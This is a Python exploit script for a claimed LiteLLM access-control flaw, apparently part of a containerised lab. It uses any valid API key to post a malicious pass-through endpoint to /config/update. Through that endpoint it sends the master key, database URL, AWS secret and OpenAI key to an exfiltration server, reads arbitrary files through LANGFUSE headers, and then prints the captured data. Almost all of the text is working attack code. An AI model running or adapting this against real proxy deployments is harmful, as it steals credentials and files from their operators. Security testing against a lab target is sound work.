#!/usr/bin/env python3
"""
CVE-2026-35029 — LiteLLM /config/update Broken Access Control Exploit

Demonstrates privilege escalation via the unprotected /config/update endpoint:
  - Any authenticated user (no admin role required) can modify the proxy config
  - Attacker registers a malicious pass-through endpoint to exfiltrate env vars
  - The pass-through endpoint forwards stolen data (DB creds, API keys) to attacker

Attack chain:
  1. Obtain a valid API key (any key — no admin role check)
  2. POST /config/update with a malicious pass-through endpoint config
  3. The pass-through endpoint references env vars → LiteLLM resolves them
  4. Trigger the pass-through endpoint → data forwarded to attacker's server
  5. Read captured data from the exfiltration server logs

Usage:
    python3 exploit.py --mode exfil --target http://localhost:4000 --key sk-litellm-master-key
    python3 exploit.py --mode file-read --target http://localhost:4000 --key sk-litellm-master-key
    python3 exploit.py --mode full-chain --target http://localhost:4000 --key sk-litellm-master-key
"""

import argparse
import json
import sys
import time

import requests

from payload import (
    build_pass_through_exfil_payload,
    build_file_read_payload,
    build_config_overwrite_payload,
)


def check_target(target: str, api_key: str = "") -> bool:
    """Check if LiteLLM is reachable."""
    try:
        headers = {"Authorization": f"Bearer {api_key}"}
        resp = requests.get(f"{target.rstrip('/')}/health", headers=headers, timeout=10)
        if resp.status_code in (200, 401):
            return True
    except requests.RequestException:
        pass
    try:
        resp = requests.get(target.rstrip("/"), timeout=10)
        return resp.status_code == 200
    except requests.RequestException:
        return False


def check_exfil_server(exfil_url: str) -> bool:
    """Check if exfiltration server is reachable."""
    try:
        resp = requests.get(f"{exfil_url.rstrip('/')}/health", timeout=5)
        return resp.status_code == 200
    except requests.RequestException:
        try:
            resp = requests.get(exfil_url.rstrip("/"), timeout=5)
            return resp.status_code == 200
        except requests.RequestException:
            return False


def send_config_update(
    target: str,
    api_key: str,
    payload: dict,
    endpoint: str = "/config/update",
) -> requests.Response:
    """Send a config update to the LiteLLM proxy."""
    url = f"{target.rstrip('/')}{endpoint}"
    headers = {
        "Authorization": f"Bearer {api_key}",
        "Content-Type": "application/json",
    }
    resp = requests.post(url, headers=headers, json=payload, timeout=15)
    return resp


def trigger_pass_through(target: str, path: str, api_key: str) -> requests.Response:
    """Trigger a registered pass-through endpoint."""
    url = f"{target.rstrip('/')}{path}"
    headers = {
        "Authorization": f"Bearer {api_key}",
        "Content-Type": "application/json",
    }
    # LiteLLM pass-through endpoints forward the request to the target
    resp = requests.get(url, headers=headers, timeout=15)
    return resp


def fetch_exfil_logs(exfil_url: str) -> str:
    """Fetch captured data from the exfiltration server logs."""
    try:
        resp = requests.get(
            f"{exfil_url.rstrip('/')}/logs", timeout=5
        )
        if resp.status_code == 200:
            return resp.text
    except requests.RequestException:
        pass
    return "[!] Could not fetch exfil logs (check exfil-server container)"


def exploit_env_exfil(
    target: str,
    api_key: str,
    exfil_url: str,
    is_fixed: bool = False,
):
    """
    Exploit: Register a pass-through endpoint to exfiltrate env vars.
    """
    tag = "FIXED" if is_fixed else "VULNERABLE"
    print(f"\n{'=' * 70}")
    print(f"[{tag}] Phase 1: Environment Variable Exfiltration")
    print(f"{'=' * 70}")

    exfil_path = "/exfil/env"
    exfil_target = "http://exfil-server:9999/collect"

    # Step 1: Register the malicious pass-through endpoint
    print("\n[*] Step 1: Registering pass-through endpoint via /config/update...")
    payload = build_pass_through_exfil_payload(
        path=exfil_path,
        target=exfil_target,
        exfil_vars=[
            "LITELLM_MASTER_KEY",
            "DATABASE_URL",
            "AWS_SECRET_ACCESS_KEY",
            "OPENAI_API_KEY",
        ],
    )
    print(f"    Payload: {json.dumps(payload, indent=4)}")

    resp = send_config_update(target, api_key, payload)
    print(f"    HTTP {resp.status_code}")
    if resp.status_code in (200, 201):
        print(f"    [+] Config update accepted!")
    elif resp.status_code == 401:
        print(f"    [-] Authentication failed — check API key")
        return
    elif resp.status_code == 403:
        print(f"    [-] Forbidden — target may be patched (v1.83.0+)")
        if is_fixed:
            print("    [+] Expected: fixed version blocks non-admin config updates")
        return
    else:
        print(f"    [?] Unexpected status. Response: {resp.text[:300]}")
        return

    # Step 2: Wait for config propagation
    print("\n[*] Step 2: Waiting for pass-through route propagation...")
    for i in range(6, 0, -1):
        print(f"    {i} seconds...")
        time.sleep(1)

    # Step 3: Trigger the pass-through endpoint
    print(f"\n[*] Step 3: Triggering pass-through endpoint at {exfil_path}...")
    try:
        resp = trigger_pass_through(target, exfil_path, api_key)
        print(f"    HTTP {resp.status_code}")
        print(f"    Response: {resp.text[:500]}")
    except requests.RequestException as e:
        print(f"    Request error (may be expected if target is unreachable): {e}")

    # Step 4: Check exfiltration logs
    print(f"\n[*] Step 4: Checking exfiltration server for stolen data...")
    time.sleep(2)
    try:
        exfil_resp = requests.get(f"{exfil_url}/logs", timeout=5)
        if exfil_resp.status_code == 200:
            print(f"\n[🔥] EXFILTRATION LOGS:")
            print(exfil_resp.text[:3000])
            if "DATABASE_URL" in exfil_resp.text or "LITELLM_MASTER_KEY" in exfil_resp.text:
                print(f"\n[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!")
            elif is_fixed:
                print(f"\n    [+] Fixed version: no data exfiltrated.")
        else:
            print(f"    HTTP {exfil_resp.status_code}")
    except requests.RequestException:
        print(f"    [!] Could not connect to exfil server at {exfil_url}")

    print()


def exploit_file_read(
    target: str,
    api_key: str,
    exfil_url: str,
    is_fixed: bool = False,
):
    """Exploit: Read arbitrary files via LANGFUSE header Base64 encoding."""
    tag = "FIXED" if is_fixed else "VULNERABLE"
    print(f"\n{'=' * 70}")
    print(f"[{tag}] Phase 2: Arbitrary File Read (via LANGFUSE headers)")
    print(f"{'=' * 70}")

    exfil_path = "/exfil/file"
    exfil_target = "http://exfil-server:9999/collect-file"

    print("\n[*] Step 1: Registering file-read pass-through endpoint...")
    payload = build_file_read_payload(path=exfil_path, target=exfil_target)
    print(f"    Payload: {json.dumps(payload, indent=4)}")

    resp = send_config_update(target, api_key, payload)
    print(f"    HTTP {resp.status_code}")
    if resp.status_code in (200, 201):
        print(f"    [+] File-read endpoint registered!")
    elif resp.status_code in (401, 403):
        print(f"    [-] Access denied — {'expected (fixed)' if is_fixed else 'check key'}")
        return
    else:
        print(f"    [?] Response: {resp.text[:300]}")
        return

    print("\n[*] Step 2: Waiting for route propagation...")
    time.sleep(6)

    print(f"\n[*] Step 3: Triggering file-read endpoint...")
    try:
        resp = trigger_pass_through(target, exfil_path, api_key)
        print(f"    HTTP {resp.status_code}")
    except requests.RequestException as e:
        print(f"    Request error: {e}")

    print(f"\n[*] Step 4: Checking exfiltrated file data...")
    time.sleep(2)
    try:
        exfil_resp = requests.get(f"{exfil_url}/logs", timeout=5)
        if exfil_resp.status_code == 200:
            print(f"\n[🔥] CAPTURED DATA:")
            print(exfil_resp.text[:3000])
    except requests.RequestException:
        pass

    print()


def exploit_full_chain(target: str, api_key: str, exfil_url: str, is_fixed: bool = False):
    """Run the full attack chain: exfil + file read."""
    print(f"\n{'=' * 70}")
    print(f"CVE-2026-35029 — Full Attack Chain")
    print(f"{'=' * 70}")
    print(f" Target     : {target}")
    print(f" API Key    : {api_key}")
    print(f" Exfil URL  : {exfil_url}")
    print(f" Version    : {'FIXED (v1.83.0+)' if is_fixed else 'VULNERABLE (< v1.83.0)'}")
    print()

    if not check_target(target, api_key):
        print(f"[-] LiteLLM is not reachable at {target}")
        print("[-] Start containers: docker compose up -d")
        return

    print(f"[+] LiteLLM is reachable.")

    exploit_env_exfil(target, api_key, exfil_url, is_fixed)
    exploit_file_read(target, api_key, exfil_url, is_fixed)


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-35029 — LiteLLM /config/update Broken Access Control Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Full attack chain against vulnerable instance
  python3 exploit.py --mode full-chain -t http://localhost:4000 -k sk-litellm-master-key

  # Just exfiltrate environment variables
  python3 exploit.py --mode exfil -t http://localhost:4000 -k sk-litellm-master-key

  # Try against fixed version (should be blocked)
  python3 exploit.py --mode full-chain -t http://localhost:4001 -k sk-litellm-master-key --fixed
        """,
    )
    parser.add_argument("--mode", choices=["exfil", "file-read", "full-chain"],
                        default="full-chain", help="Exploit mode")
    parser.add_argument("-t", "--target", default="http://localhost:4000",
                        help="LiteLLM target URL")
    parser.add_argument("-k", "--key", default="sk-litellm-master-key",
                        help="LiteLLM API key (any valid key)")
    parser.add_argument("--exfil-url", default="http://localhost:9999",
                        help="Exfiltration server URL")
    parser.add_argument("--fixed", action="store_true",
                        help="Mark target as fixed (v1.83.0+)")
    args = parser.parse_args()

    print(f"""
 ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ███████╗
██╔════╝██║   ██║██╔════╝   ██╔════╝ ╚════██╗██╔════╝
██║     ██║   ██║█████╗     ██║  ███╗ █████╔╝█████╗
██║     ╚██╗ ██╔╝██╔══╝     ██║   ██║ ╚═══██╗██╔══╝
╚██████╗ ╚████╔╝ ███████╗   ╚██████╔╝██████╔╝███████╗
 ╚═════╝  ╚═══╝  ╚══════╝    ╚═════╝ ╚═════╝ ╚══════╝
    """)

    if args.mode == "exfil":
        exploit_env_exfil(args.target, args.key, args.exfil_url, args.fixed)
    elif args.mode == "file-read":
        exploit_file_read(args.target, args.key, args.exfil_url, args.fixed)
    else:
        exploit_full_chain(args.target, args.key, args.exfil_url, args.fixed)


if __name__ == "__main__":
    main()